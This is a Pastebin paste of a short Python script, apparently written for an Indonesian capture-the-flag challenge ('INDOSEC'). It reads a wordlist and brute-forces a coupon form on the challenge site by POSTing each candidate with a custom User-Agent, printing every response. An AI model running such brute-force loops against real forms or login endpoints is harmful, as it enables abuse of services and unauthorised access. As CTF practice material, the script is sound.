SHARE
TWEET

Xractz - CTF INDOSEC BF

a guest Jul 5th, 2019 114 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import requests, threading
  2.  
  3. #isc = requests.post("https://official.indsc.me/wordlist_ctf.php").text
  4. #f = open("tes.txt", "w")
  5. #f.write(isc)
  6. #f.close()
  7.  
  8. a = open("tes.txt", "r").readlines()
  9. url = "https://official.indsc.me/kupon.php"
  10. ua = {'User-Agent':'INDOSEC/1.0'}
  11.  
  12. def ps(a,url,ua):
  13.     for line in a:
  14.         ctf = line.strip()
  15.         r = requests.post(url,headers=ua,data={'kupon':ctf,'submit':'submit'})
  16.         cek = r.text
  17.         if "Gagal mendapatkan kupon gratis. Karena browser anda sudah punah." in str(cek):
  18.             print(f"kode {ctf}")
  19.             print(cek)
  20.         else:
  21.             print(f"kode {ctf}")
  22.             print(cek)
  23.  
  24. if __name__ == '__main__':
  25.     t = threading.Thread(target=ps, args=(a, url, ua))
  26.     t.start()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top